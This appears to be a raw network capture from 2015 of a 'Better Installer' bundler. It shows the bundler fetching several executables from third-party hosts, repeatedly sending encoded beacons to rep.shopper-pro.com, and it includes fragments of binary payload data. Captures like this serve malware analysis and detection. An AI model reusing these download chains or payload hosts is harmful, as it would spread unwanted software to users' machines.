..!..L.!This program cannot be run in DOS mode....$.......Je.....X...X
...X..xX...X..{X...X..zXT..X.|6X...X.|&X...X...X...X..fX;..X...X...X..
|X...X.."X...X..yX...XRich...X........PE..L......T....................
.([email protected]....................
...................s..E5..D`....... .............................. ...
8...........................`...@...............\.....................
.......text...L........................... ..`.rdata..................
............@[email protected][email protected]........ 
......................@..@............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................................U..j.hkMG.
d.....P..8....X.I.3..E.SVWP.E.d........F............h.=H..F...........
...tCh.=H........t..N....h.=H........t..N....h.>H..........A....N..
.8...h.>H........t..UT...F........h$>H..............j.j.....G...
........h(.........j.P......,....H............PW....G.............G...
..$..........P...........h4>H.........A.......u..N...8hP>H......
...A.......u..N....hh>H.........A.......u..N...E..................B
.....I......R...P.......PW......`...W....G....F.......h.>H..t..

<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:15 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:52:15 GMT

Cache-Control: max-age=259200

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@[email protected][email protected].....
.......>..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=38540-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:18 GMT

Content-Type: application/octet-stream

Content-Length: 269780

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:53:18 GMT

Cache-Control: max-age=259200

Content-Range: bytes 38540-308319/308320
.....Kz...E.P..`...P..H....M..E............H...P......}..r..u.........
..t.....E......E......E..r...`............E...}....t.........p........
.`....r..u...........~..........................x....u.3.....~....Q..d
$...A..u. .Q..~...P..x....dy...E..j.h..A..M..E......E......E...?y...E.
.j.h..A...`.....t.........p.........`......y...E.P..`...P..x....M..E..
..........x...P......}..r..u...........t.....E......E......E..r...`...
.........E...}....t.........p.........`....r..u..w........\......H....
C.H....M......P..H.........}..r..u..>...............x....C.x....M..
....P..x.........}..r..u...........\........A.j.j.j...H....C.H...Pj.h.
.......3..w.................Q..........D...Vj.P.}l.......\....W..D....
.H....C.H...WQj.h.............j.j.j...x....C.x...Pj.h........3..w.....
............Q.'........Vj.S..l............WSW..x....C.x...Qj.h........
[email protected]./.......
......r...x.............\..........................x......>.....H..
..|....... ...3.h....f.E..E.f.E.f.E..E.f.E..E.P..4...P..8...P.W...<
...Ph.....E.Pj.f..E.f..E.f..E.f..E.f..E.f..E.f..E.f..E.....A.3.h....Pf
[email protected][email protected].....
t'[email protected].@j.
............<...Ph..A.h....V.}.......M.d......Y_^[.M.3..".....]..U.
....SV.5..A.Wj [email protected]@.]...j....E.Ph....Vj Sh.....C........
W.u...........A..}..u............5..A......u..._^..[..].U....8..0B.3..
E.Sj..E.h..A.P......A.....E.j.j.j.j.j.h....P....A..E....u.3.[.M.3.<<< skipped >>>

GET /mstag/mstag.1003102000.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK

Cache-Control: max-age=86400

Content-Type: application/javascript

Content-Encoding: gzip

Last-Modified: Wed, 29 Oct 2014 21:30:02 GMT

Accept-Ranges: bytes

ETag: "069797fbff3cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

Date: Thu, 08 Jan 2015 04:54:22 GMT

Connection: close

Content-Length: 1956
...........Xm..... :LG&.8J:.MB.N.$N........Y.@$(....@....{....vM>H$
v.],......."...qw<qr...g.]e,v.S.(.......P........t:Eao.j.H..Y...A(.
3wx%N.....b..f...9.......W...).J....3...j..xQn.........:!.,"..*.EY....
Ct........X......$.)G....:...,..Q......\...|...s.%.b.K...Q..7w.r...t..
{.I..e .....1._9..3.....Fx%...i.U..9.))....*._K&..Y.p.Y.*.*)E...I_f...
]S.#..TE.......c..0..u..M.!...q.0..s....G9Y:...wK.....^.kZf..g1`)Z...R
c........A..A.Q/>M....ee..............Z^. ..|[email protected],..2..%.c
........,.,...c...?..-/.r G...Q..d...?..-.!......i.....3....{..[..H.|.
........b.4..kH...t....A.!.y..v.. .:..uuu..VC.....^..2.>....M.oQ.W.
.V.4....u.....d(l.."':......V .b..e0....{....0...9Y.Q........b.~s....Z
...2..:.....2....'T.(......L.r..H0V.[...C..k.)..T....J.#.T.i...Ve..G..
...N.i.n<[email protected]..!.(..F...L..J.......3..x.....U.w
>.S..`..4.4}S.h.....1._.k[[email protected].>.e.eKa...Q..m.....\6.~.
.(x....9.....r..F.....M...)n%..84W...6..?..X..>........xC..oL....s.
......... ...w...$!...,......l.........$..fH....K.S.;.A$....{... ...e.
....$..P....C.....:....s.|...,.(3..k2#...o...g!..q...'.m.....R((-..N.w
 .....!a.J.4... ML.x$....`Z...tj...{..'..[.2.n.;[email protected] ..6...`.....m.
....H=U..P.....H_ O[[email protected]/.Q........p.C..GG..>..>..Q;3\.7...
.yk..Y.)..{.........H`..{.1.rPc.5.|..t..S. ra. .....0......c.S~...]..6
.....f....X....A.a.a..A.c;..3....<[...y.v...N....^R.r ..Z&.u.=.._.2
u...*p.=..\h.....a.!m.........g.&..d.).t`...H........>....U...u....
.......JC.....l-..8w..p{..k...\.......s..@.$1G2....l.spb.,.Q...3.`<<< skipped >>>

GET / HTTP/1.1

Range: bytes=49776-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55cd3defeb0f75-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=49776-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: application/octet-stream

Content-Length: 149328

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 49776-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55cd3e5ffb0f75-FRA
....IH..,..[....k&....%.j...k..O.%N.j.........j.,..........k.Y..3...c.
@[email protected];..c;.,..T...\..j..k;.HI4...G.......k...HOZ
..G.......j..c;..P....V...X..j.4....N.....^..j.4....4....X.O..H..H..u.
J......k;;I.-G.........kB...N..{;...^..j...4.O4.I..6O..D........N...^.
.j..[;.4.4...6......_...j..k;.. $I..H.........j....N...;......^..j.4..
[email protected].,.w....y..[;3.s;;.[
;.......I........C;.....Q....*.._..[;.OL....pj?L.|I...k;...I........[;
.OL.C;;.............C;..........k;3.c;7.S;/.S;.....;..................
..................................%.OI...`...,...k..S;/..$.j...^.y$].k
C\...$.m..C;.....Z..y.]....y.^..s;?.C;............k:...,.....:.......,
#...]., ...]..M.Vj........k7.[;....[;.....%....k;..VJ........k;3.c;7.k
;..,J........k;3.c;7......K;?........,.....:.......,#...]., ...]..M.Vj
.NNNN.[; ONNww.^......S;[..'._...k)......K;;.......,.....:.......,#...
]., ...][email protected];.H...K;.......k:...,.....:..
....., ...].,....]..`[email protected]#.^...L.......
j...........u.Iw[.^...L.......j.......uu.IwS.^..iL.......j.......Pu.Iw
K.^..DL.......j....... u.IwC.^.._L.......j........u.Iw{.^..:L.......jX
.......H.f..V...^[email protected].[;.Ow....u..Y.OM...._...j..k;....._...AF
.-.AF...NIu....jL......[;...k?N...S;............,....ZS;...AF.u..f~...
.....IH...K;..S;..h...X..j.4...........`.... `......I..L......[;.....~
.......F...LJ,.,.,...........[;...7#^c.#Ea.#~c.#ea.#/c.#&a.#4k.#0ji...
Ow.!^...J.....Z..........!^.5..[..\...j\.[;.................S;....<<< skipped >>>

GET / HTTP/1.1

Range: bytes=49776-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55d065c4ff0f7b-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=49776-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: application/octet-stream

Content-Length: 149328

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 49776-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55d066250b0f7b-FRA
....IH..,..[....k&....%.j...k..O.%N.j.........j.,..........k.Y..3...c.
@[email protected];..c;.,..T...\..j..k;.HI4...G.......k...HOZ
..G.......j..c;..P....V...X..j.4....N.....^..j.4....4....X.O..H..H..u.
J......k;;I.-G.........kB...N..{;...^..j...4.O4.I..6O..D........N...^.
.j..[;.4.4...6......_...j..k;.. $I..H.........j....N...;......^..j.4..
[email protected].,.w....y..[;3.s;;.[
;.......I........C;.....Q....*.._..[;.OL....pj?L.|I...k;...I........[;
.OL.C;;.............C;..........k;3.c;7.S;/.S;.....;..................
..................................%.OI...`...,...k..S;/..$.j...^.y$].k
C\...$.m..C;.....Z..y.]....y.^..s;?.C;............k:...,.....:.......,
#...]., ...]..M.Vj........k7.[;....[;.....%....k;..VJ........k;3.c;7.k
;..,J........k;3.c;7......K;?........,.....:.......,#...]., ...]..M.Vj
.NNNN.[; ONNww.^......S;[..'._...k)......K;;.......,.....:.......,#...
]., ...][email protected];.H...K;.......k:...,.....:..
....., ...].,....]..`[email protected]#.^...L.......
j...........u.Iw[.^...L.......j.......uu.IwS.^..iL.......j.......Pu.Iw
K.^..DL.......j....... u.IwC.^.._L.......j........u.Iw{.^..:L.......jX
.......H.f..V...^[email protected].[;.Ow....u..Y.OM...._...j..k;....._...AF
.-.AF...NIu....jL......[;...k?N...S;............,....ZS;...AF.u..f~...
.....IH...K;..S;..h...X..j.4...........`.... `......I..L......[;.....~
.......F...LJ,.,.,...........[;...7#^c.#Ea.#~c.#ea.#/c.#&a.#4k.#0ji...
Ow.!^...J.....Z..........!^.5..[..\...j\.[;.................S;....<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277619-555238

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Type: application/octet-stream

Content-Length: 277620

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....

GET /app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKcIe1clBNP5jNwK0vi9ZoWBC884p9KD0vQ6 NQxwZJY1sG0ShsAsHh6Xd9ppVOvbVdN0KG9cPd9hWoJO9kNY6KOUAB1raNOcILYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvUQzEfPR5H cZFYt96j8Hn3PgGUqUYly4OA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKe1hFEam MpmbONeuBglAqxQKd0GEgkaflVZ4RT0d23GHcO0aQLqLvPZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ9H39Z/JQDSULN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR3CV jqruKgNCn qX4FpTdffopz0y2Q7Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKcIe1clBNP5jNwK0vi9ZoWBa50u3XyigpXfsjwfS9hqvDSH1 OEJ3biqF2K7v3Wx4P3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvkHg7W3d/ftROReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micnyk9qStug4lppq73FZdDH/8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=Ka qOJkckoXHjWHokC5IQAENEGDD92d362ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ G1NXsmurJNYffesQuN1AbIRqA21AjxE6JWIAQ8Wjpin/USt YsXz/9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0DDfA6UUf1FIDcI4BI3IQ7Vhwj8NsVNwNkIzqnJdgYVZ4qxOlJ8vXHCCupf Q5XR x8kpng0IpIJ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:14 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=wlkQ3WKgYpT/HsUBn07KUs4CTydo2RkEWCPN432LaqaRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablBnsxRGYLsGfgtrTfhmT12vVAezdf3aKUSdvNRLeb/tYs4164GCUCrFoceVsKClDm/Wv9kqlZCJeiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8IS37QBYr6WNZiv78qWFsam6Mpeg1mvvHNMP8nao3Fu0qL 88MbCkJtUYb9dqX32KOEog NNy6LA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:14 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=eISsn0A7mAY luBT5UotGM4CTydo2RkEWCPN432LaqaRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablBnsxRGYLsGfgtrTfhmT12vVAezdf3aKUSdvNRLeb/tYs4164GCUCrFAp3QYSCRp Rpd1THwhajU uvbl3jg3GmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXnErMQfcDuxkqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5zNmEULB9JS wB5esNx9efU= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:14 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDfyyMiXp71dskSyr tF PxWT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThKGDom2Lr5xeA oO1ux9nxyTJ5rC/nSg4nDgs7q5vmXmsGOqWbMqdvVPHbLV9CfBu9qbCRwRBKA7Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvUQzEfPR5H cZCjca/6c/zCZgGUqUYly4OA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:14 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 20
15 04:53:14 GMT..Content-Length: 0......

GET /app/ping.ashx?e=2fVCHF6kf8ip2eBShmJaQMxndPpeZYzTsufXr7KVvV/ZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcV2fwAkvrmVqKDqSjldXWoYNHMbs2Nh9oIFF6f/a06pCWjwfqp7MHxGpMWXGXOfhUiXwmSZn9bL3CkMpf9re0fn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvkHg7W3d/ftROReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn6dlr GGOs2Ypq73FZdDH/8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:15 GMT

Content-Length: 0

....

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1269576

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Wed, 07 Jan 2015 08:34:28 GMT

Accept-Ranges: bytes

ETag: "28637c0542ad01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:52:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8a256bddd45845f932a0a374e95fa057.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ISR3FGQQPWd_ru_Je6JwumZK7fewMJDFOcoieOCN9IojSDLwWLEVpQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=416430-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:20 GMT

Content-Type: application/octet-stream

Content-Length: 694046

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 416430-1110475/1110476
XD.h(...a....k.i.5ML'..u.........* .....L...r.....l.OrB..Q';..Ac......
-8.D..W.c.<..4...Y...v...zzL.x.......b...b... qv....5..#cF..f..q...
F.....#|I.K..^.\Q..$..G...4.3/.gk.....dY.N...../.......n.W'x..h...."[-
..3"(.u..x.:g....3S.0....I....Q.........S.I...4O...;..k3.Z'..V1...}.92
A.2.La..&..ys][email protected]\.".`.3.|.'>.xZ...........GO.....
....../o........N.J...Mt.e.. ..Z..C#..{ou.^K\xW..."..f.l...L F.....C..
!.....Il5j8jM.......h.E."3.].!........%.......&.....%2.).{v...>....
Ii..1MJ.L.V........N.G'x.o...Ni...\ >[email protected]:.^..7
z.{Zn...W......M...^X...;)..W;;}.............m&.!......s_..{.<....4
..~Q..F.Y..$.)c.;.Y{..!m..G.v....V.79T.P...L..F.A[...z.B..i.r}........
...&.......S....X,.]..d{...'..r.P..#,.=f}^..#..EY. .A...$..'._.zi.3. .
.s..................... .....6"W...\.0.4...x..H..x......[..Q..Q9[O....
......b.ky..O?...!........N.....*I......k.bw.{...[......~.....X..VT.N(
.k...?.8t........r..\.....*...#....D........B......Qx....?...3U..pG...
......[e..?]....no.#..1Y.P....6;/umQ..c5.. .7Nr........^..A..O..W.....
{..P...;........;.....`.....o;Tks.......q.r.[k.n..gu....5...{lH7.... D
....=.`../Y.[.....m.....9'.{..LB.<....4......>..............>
.......G....x..*L.Gc>.=t..j.B.....;;n.H .J....O....\..-..T......p..
.X......#..<...f.>j.U.o..cV]..o...'...F*%..y..G.a....JM.9U......
j...;0^.....-Y.. ....H.s.$.J.......kE.J.=..oH..H.PS.....K...J...z=..KU
.s.Y.._HZ*.^.4.o..StA...A.V..5.~..?..{3K.............9.N7G^..Az>G-V
p.7z...._..s.V.<.....(....".p.X....-..AS.%}[email protected].<<< skipped >>>

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583464

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:53:20 GMT

Date: Thu, 08 Jan 2015 04:53:20 GMT

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................;........................................s....
..................8...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F..tBj\V. ?
[email protected]...|p@[email protected]:.u.9].t.j....
..Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j....
[email protected]][email protected]
.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9].....
..h. [email protected]. [email protected]..
[email protected].~B....h.0G.V.qB..P.^=..
P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#...<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277619-555238

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:20 GMT

Content-Type: application/octet-stream

Content-Length: 277620

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
